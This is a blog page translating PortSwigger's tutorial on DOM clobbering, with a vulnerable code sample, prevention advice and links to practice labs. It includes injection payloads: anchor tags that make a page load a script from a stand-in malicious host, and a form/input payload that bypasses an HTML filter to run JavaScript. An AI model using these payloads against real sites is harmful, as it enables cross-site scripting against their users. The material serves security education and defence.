某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

    • 客户端主题
    • 跨站脚本(XSS)

    • 跨站请求伪造(CSRF)

    • 跨域资源共享(CORS)

    • 点击劫持

    • 基于DOM的漏洞

      • 基于DOM的漏洞
      • 基于DOM的开放重定向
      • 基于DOM的cookie操纵
      • 控制web消息源
      • DOM clobbering
        • DOM clobbering是什么?
        • 如何利用DOM clobbering漏洞
        • 如何防范DOM clobbering攻击
      • 等待翻译
    • WebSockets

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 客户端主题(翻译)
  • 基于DOM的漏洞
carsaid
2023-10-10
目录

DOM clobbering

翻译

原文:https://portswigger.net/web-security/dom-based/dom-clobbering

- name: 翻译
  desc: 原文:https://portswigger.net/web-security/dom-based/dom-clobbering
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

# DOM clobbering

在本节中,我们将描述什么是 DOM clobbering,演示如何使用 clobbering 技术来利用 DOM 漏洞,并提供一些减少 DOM clobbering 攻击的建议和方法。

# 1DOM clobbering是什么?

DOM clobbering 是一种将 HTML 注入到网页中,以操纵 DOM 并最终改变页面上 JavaScript 行为的技术。DOM clobbering 在无法利用 XSS 的情况下特别有用,你可以在属性id或name被 HTML 过滤器列入白名单的页面上控制某些 HTML。最常见的 DOM clobbering 形式是使用锚元素来覆盖全局变量,然后应用程序以不安全的方式使用该变量,例如生成动态 URL 脚本。

术语 clobbering 来自这样一个事实,即你正在 “覆盖” 对象的全局变量或属性,并使用 DOM 节点或 HTML 集合来覆盖它。例如,你可以使用 DOM 对象覆盖其他 JavaScript 对象,并利用不安全的名称(如submit)来干扰表单中的真实submit()函数。

# 2如何利用DOM clobbering漏洞

JavaScript 开发人员使用的一个常见模式是:

var someObject = window.someObject || {};
1

如果你可以控制页面上的某些 HTML,则可以使用 DOM 节点(如锚点)来覆盖someObject引用。请考虑以下代码:

<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>
1
2
3
4
5
6
7
8

要利用此易受攻击的代码,你可以注入以下 HTML 以使用锚元素来覆盖someObject引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
1

由于这两个锚点使用了相同的 ID,因此 DOM 将它们分组在一个 DOM 集合中。随后,DOM clobbering 向量会使用这个 DOM 集合来覆盖someObject引用。在最后一个锚点元素上使用name属性,以便覆盖指向外部脚本的someObject对象中的url属性。

实验室-专家

利用DOM clobbering造成XSS >>

- name: 实验室-专家
  desc: 利用DOM clobbering造成XSS >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

另一种常见的技术是,将form元素与诸如input之类的元素结合使用,以清除 DOM 属性。例如,通过覆盖attributes属性,可以绕过使用了该属性的客户端过滤器。尽管过滤器会枚举attributes属性,但它实际上不会清除任何内容,因为该属性已被 DOM 节点覆盖。因此,一些通常会被过滤掉的恶意属性,此时你将能够将其注入。例如,考虑以下注入:

<form onclick=alert(1)><input id=attributes>Click me
1

在这种情况下,客户端过滤器将遍历 DOM,直到遇到一个被列入白名单的form元素。通常,过滤器会遍历form元素的attributes属性,并删除任何列入黑名单的属性值。但是,由于attributes属性已经被input元素覆盖,因此过滤器将改为遍历input元素。由于input元素的长度未被定义,因此不满足过滤器的for循环条件(例如i<element.attributes.length),过滤器只是简单的移动到下一个元素。这导致过滤器完全忽略了onclick事件,随后允许在浏览器中调用alert()函数。

实验室-专家

覆盖DOM属性以绕过HTML过滤器 >>

- name: 实验室-专家
  desc: 覆盖DOM属性以绕过HTML过滤器 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 3如何防范DOM clobbering攻击

用最简单的话来说,你可以通过实现检查功能来防止 DOM clobbering 攻击,以确保对象或函数符合你的预期。例如,你可以检查 DOM 节点的attributes属性是否是NamedNodeMap的实例。这可以确保当前属性确实是一个attributes属性,而不是一个被覆盖的 HTML 元素。

此外,在编写代码时,你还应避免将逻辑 OR 运算符||和全局变量结合使用,因为这可能会导致 DOM clobbering 漏洞。

总结:

  • 检查对象和函数是否合法。如果你想过滤 DOM,请确保被检查的对象或函数不是一个 DOM 节点。
  • 避免错误的代码格式。应避免将全局变量与逻辑 OR 运算符结合使用。
  • 使用经过良好测试的库,例如 DOMPurify,该库可解决 DOM clobbering 漏洞。
编辑 (opens new window)
控制web消息源
等待翻译

← 控制web消息源 等待翻译→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式